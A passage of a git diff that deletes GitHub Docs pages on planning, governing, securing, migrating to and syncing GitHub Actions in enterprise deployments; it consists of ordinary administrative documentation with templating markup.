ghes: '*' -type: how_to -topics: - - Actions - - Enterprise -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise ---- - -## About {% data variables.product.prodname_actions %} for enterprises - -{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). - -Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. - -## Governance and compliance - -You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. - -Determine which actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise). - -Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that were not created by {% data variables.product.company_short %}. You can configure the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you can limit allowed actions to those created by verified creators or a list of specific actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}. - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository), [AUTOTITLE](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization), and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise). - -Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows). - -You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise).{% else %}[AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise) and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding).{% endif %} - -{% ifversion custom-org-roles %}You can practice the principle of least privilege by administering custom organization roles for access to settings in your {% data variables.product.prodname_actions %} CI/CD pipeline. For more information about custom organization roles, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -## Security - -You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. - -### Security hardening individual workflows and repositories - -Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions). - -You can also encourage reuse of workflows that have already been evaluated for security. For more information, see [Innersourcing](#innersourcing). - -### Securing access to secrets and deployment resources - -You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. - -In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets). - -You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see [AUTOTITLE](/actions/deployment/targeting-different-environments/using-environments-for-deployment). - -### Security considerations for third-party actions - -There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions). - -{% ifversion ghec %} - -### Private networking with GitHub-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} For more information, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). - -{% endif %} - -## Innersourcing - -Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. - -{% data reusables.actions.internal-actions-summary %} - -With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see [AUTOTITLE](/actions/using-workflows/creating-starter-workflows-for-your-organization). - -## Managing resources - -You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. - -{% ifversion ghes %} - -### Hardware requirements - -You may need to upgrade the CPU and memory resources for {% data variables.location.product_location %} to handle the load from {% data variables.product.prodname_actions %} without causing performance loss. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements). -{% endif %} - -### Runners - -{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.company_short %} manages maintenance and upgrades for {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). - -To manage your own resources, configuration, or geographic location of your runner machines, use self hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners). - -If you want more control over the networking policies for your runners, use self-hosted runners or private networking options for {% data variables.product.prodname_dotcom %}-hosted runners. For more information about private networking options, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners).{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners).{% endif %} - -{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. - -You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/adding-self-hosted-runners) and [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). You can also use policies to prevent people using repository-level self-hosted runners. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#disabling-repository-level-self-hosted-runners). - -You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners). - -Finally, you should consider security hardening for self-hosted runners. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). - -### Storage - -{% data reusables.actions.about-artifacts %} For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). -{% ifversion ghes %} -You must configure external blob storage for workflow artifacts, caches, and other workflow logs. Decide which supported storage provider your enterprise will use. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements). -{% endif %} - -You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts, caches, and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). - -{% ifversion ghec %} -Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). -{% endif %} - -## Tracking usage - -You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. - -{% ifversion ghec %} -You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account). - -> [!NOTE] Enterprise-level metrics for {% data variables.product.prodname_actions %} is in {% data variables.release-phases.public_preview %} and subject to change. - -You can view both usage and performance data for your enterprise under the "Insights" tab. These metrics provide the same {% data variables.product.prodname_actions %} data available at the repository and organization levels but aggregated for your entire enterprise. If you need more detailed insights, see [Viewing {% data variables.product.prodname_actions %} metrics for your organization](/actions/administering-github-actions/viewing-github-actions-metrics#viewing-github-actions-metrics-for-your-organization) or [Viewing {% data variables.product.prodname_actions %} metrics for your repository](/actions/administering-github-actions/viewing-github-actions-metrics#viewing-github-actions-metrics-for-your-repository). - -For more detailed usage data at a per job or per workflow level, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks). - -Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). - -You should also plan how you'll enable your teams to get the data they need from your archiving system. diff --git a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md deleted file mode 100644 index 96115ad6781f..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Migrating your enterprise to GitHub Actions -shortTitle: Migrate to Actions -intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise -redirect_from: - - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions ---- - -## About enterprise migrations to {% data variables.product.prodname_actions %} - -To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. - -This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). - -## Planning your migration - -Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. - -### Leveraging migration specialists - -{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. - -### Identifying and inventorying migration targets - -Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. - -First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. - -Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions). - -With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. - -### Determine team impacts from migrations - -When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. - -Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. - -Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? - -Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. - -### Identifying and validating migration tools - -Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions/automated-migrations/automating-migration-with-github-actions-importer). - -After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. - -Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. - -### Deciding on a migration approach - -Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. - -We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. - -Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. - -Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. - -### Defining your migration schedule - -After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. - -First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. - -Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. - -## Migrating to {% data variables.product.prodname_actions %} - -When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. - -You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. - -## Retiring existing systems - -After your migration is complete, you can think about retiring your existing system. - -You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. - -Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. diff --git a/content/admin/managing-github-actions-for-your-enterprise/index.md b/content/admin/managing-github-actions-for-your-enterprise/index.md deleted file mode 100644 index a4a7ac33eba1..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing GitHub Actions for your enterprise -allowTitleToDifferFromFilename: true -intro: 'Enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, and manage {% data variables.product.prodname_actions %} policies and settings.' -redirect_from: - - /enterprise/admin/github-actions - - /admin/github-actions -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /getting-started-with-github-actions-for-your-enterprise - - /enabling-github-actions-for-github-enterprise-server - - /managing-access-to-actions-from-githubcom - - /advanced-configuration-and-troubleshooting -shortTitle: GitHub Actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md deleted file mode 100644 index 77a9baef6256..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: About using actions in your enterprise -intro: '{% data variables.product.prodname_ghe_server %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - - /admin/github-actions/about-using-actions-on-github-enterprise-server - - /admin/github-actions/about-using-actions-in-your-enterprise - - /admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise -versions: - ghes: '*' -type: overview -topics: - - Actions - - Enterprise -shortTitle: About actions in your enterprise ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About actions on {% data variables.product.prodname_ghe_server %} - -{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. - -{% data reusables.actions.enterprise-no-internet-actions %} You can restrict your developers to using actions that are stored on {% data variables.location.product_location %}, which includes most official {% data variables.product.company_short %}-authored actions, as well as any actions your developers create. Alternatively, to allow your developers to benefit from the full ecosystem of actions built by industry leaders and the open source community, you can configure access to other actions from {% data variables.product.prodname_dotcom_the_website %}. - -We recommend allowing automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. However, this does require {% data variables.product.prodname_ghe_server %} to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow these connections, or you want to have greater control over which actions are used on your enterprise, you can manually sync specific actions from {% data variables.product.prodname_dotcom_the_website %}. - -## Official actions bundled with your enterprise instance - -{% data reusables.actions.actions-bundled-with-ghes %} - -The bundled official actions include the following, among others. -* `actions/checkout` -* `actions/upload-artifact` -* `actions/download-artifact` -* `actions/labeler` -* Various `actions/setup-` actions - -To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: <code>https://<em>HOSTNAME</em>/actions</code>. - -There is no connection required between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %} to use these actions. - -Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions). - -> [!NOTE] -> * When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.prodname_ghe_server %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access). -> * All `actions/setup-LANGUAGE` action repositories currently support three platforms: macOS, Windows, and Ubuntu. -> * When {% data variables.product.prodname_ghe_server %} is updated, bundled actions are automatically replaced with default versions in the upgrade package. -> * Being bundled with {% data variables.product.prodname_ghe_server %} means the action is available within that environment, but it doesn’t automatically guarantee compatibility with all platforms or self-hosted runners. - -## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} - -{% data reusables.actions.access-actions-on-dotcom %} - -The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). - -> [!NOTE] -> Before you can configure access to actions on {% data variables.product.prodname_dotcom_the_website %}, you must configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). - -{% data reusables.actions.self-hosted-runner-networking-to-dotcom %} - -{% data reusables.actions.enterprise-limit-actions-use %} - -Alternatively, if you want stricter control over which actions are allowed in your enterprise, or you do not want to allow outbound connections to {% data variables.product.prodname_dotcom_the_website %}, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom). diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md deleted file mode 100644 index 3e651c5af3fe..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Enabling automatic access to GitHub.com actions using GitHub Connect -intro: 'To allow {% data variables.product.prodname_actions %} in your enterprise to use actions from {% data variables.product.prodname_dotcom_the_website %}, you can connect your enterprise instance to {% data variables.product.prodname_ghe_cloud %}.' -permissions: 'Enterprise owners can enable access to public {% data variables.product.prodname_dotcom_the_website %} actions.' -redirect_from: - - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect - - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect - - /admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect -versions: - ghes: '*' -type: how_to -topics: - - Actions - - Enterprise - - GitHub Connect -shortTitle: Use GitHub Connect for actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About automatic access to {% data variables.product.prodname_dotcom_the_website %} actions - -By default, {% data variables.product.prodname_actions %} workflows on {% data variables.product.prodname_ghe_server %} cannot use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). To make public actions from {% data variables.product.prodname_dotcom_the_website %} available on your enterprise instance, you can use {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_ghe_cloud %}. - -{% data reusables.actions.self-hosted-runner-networking-to-dotcom %} - -Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync public actions onto your enterprise instance using the `actions-sync` tool. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom). - -## About resolution for actions using {% data variables.product.prodname_github_connect %} - -{% data reusables.actions.github-connect-resolution %} - -If a user has already created an organization and repository in your enterprise that matches an organization and repository name on {% data variables.product.prodname_dotcom_the_website %}, the repository on your enterprise will be used instead of the {% data variables.product.prodname_dotcom_the_website %} repository. For more information, see [Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %}](#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom). - -## Enabling automatic access to public {% data variables.product.prodname_dotcom_the_website %} actions - -Before enabling access to public actions from {% data variables.product.prodname_dotcom_the_website %} for your enterprise, you must: -* Configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server). -* Enable {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/managing-github-connect). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "Users can utilize actions from GitHub.com in workflow runs", use the drop-down menu and select **Enabled**. -1. {% data reusables.actions.enterprise-limit-actions-use %} - -## Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website %} - -When you enable {% data variables.product.prodname_github_connect %}, users see no change in behavior for existing workflows because {% data variables.product.prodname_actions %} searches {% data variables.location.product_location %} for each action before falling back to {% data variables.product.prodname_dotcom_the_website %}. This ensures that any custom versions of actions your enterprise has created are used in preference to their counterparts on {% data variables.product.prodname_dotcom_the_website %}. - -{% data reusables.actions.namespace-retirement-ghecom %} - -After using an action from {% data variables.product.prodname_dotcom_the_website %}, if you want to create an action in {% data variables.location.product_location %} with the same name, first you need to make the namespace for that organization and repository available. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, under **Site admin** click **Retired namespaces**. -1. To the right of the namespace that you want use in {% data variables.location.product_location %}, click **Unretire**. -1. Go to the relevant organization and create a new repository. - - > [!TIP] - > When you unretire a namespace, always create the new repository with that name as soon as possible. If a workflow calls the associated action on {% data variables.product.prodname_dotcom_the_website %} before you create the local repository, the namespace will be retired again. For actions used in workflows that run frequently, you may find that a namespace is retired again before you have time to create the local repository. In this case, you can temporarily disable the relevant workflows until you have created the new repository. diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/index.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/index.md deleted file mode 100644 index 292b454de041..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Managing access to actions from GitHub.com -intro: 'Controlling which actions on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %} can be used in your enterprise.' -redirect_from: - - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom - - /admin/github-actions/managing-access-to-actions-from-githubcom -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-using-actions-in-your-enterprise - - /enabling-automatic-access-to-githubcom-actions-using-github-connect - - /manually-syncing-actions-from-githubcom - - /using-the-latest-version-of-the-official-bundled-actions - - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access -shortTitle: Manage access to actions ---- - diff --git a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md deleted file mode 100644 index 0d428cd06f1d..000000000000 --- a/content/admin/managing-github-actions-for-your-enterprise/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Manually syncing actions from GitHub.com -intro: 'For users that need access to actions from {% data variables.product.prodname_dotcom_the_website %}, you can sync specific actions to your enterprise.' -redirect_from: - - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom - - /admin/github-actions/manually-syncing-actions-from-githubcom - - /admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom -versions: - ghes: '*' -type: tutorial -topics: - - Actions - - Enterprise -shortTitle: Manually sync actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -{% data reusables.actions.enterprise-no-internet-actions %} - -We recommend enabling automatic access to public actions by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.prodname_ghe_server %} with {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect). - -If you want stricter control over which actions are allowed in your enterprise, you can follow this guide to use our open source [`actions-sync`](https://github.com/actions/actions-sync) tool to sync individual action repositories from {% data variables.product.prodname_dotcom_the_website %} to your enterprise. - -When you upgrade {% data variables.product.prodname_ghe_server %}, bundled actions are automatically replaced with the default versions in the upgrade package. These may not be the latest available version. As a best practice, if you use `actions-sync` to update actions, you should always rerun `actions-sync` after any {% data variables.product.prodname_ghe_server %} upgrade (major or minor) to ensure that the actions remain up to date. - -## About the `actions-sync` tool - -The `actions-sync` tool must be run on a machine that can access the {% data variables.product.prodname_dotcom_the_website %} API and your {% data variables.product.prodname_ghe_server %} instance's API. The machine doesn't need to be connected to both at the same time. - -If your machine has access to both systems at the same time, you can do the sync with a single `actions-sync sync` command. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. - -The `actions-sync` tool can only download actions from {% data variables.product.prodname_dotcom_the_website %} that are stored in public repositories. - -> [!NOTE] -> The `actions-sync` tool is intended for use in systems where {% data variables.product.prodname_github_connect %} is not enabled. If you run the tool on a system with {% data variables.product.prodname_github_connect %} enabled, you may see the error `The repository <repo_name> has been retired and cannot be reused`. This indicates that a workflow has used that action directly on {% data variables.product.prodname_dotcom_the_website %} and the namespace is retired on {% data 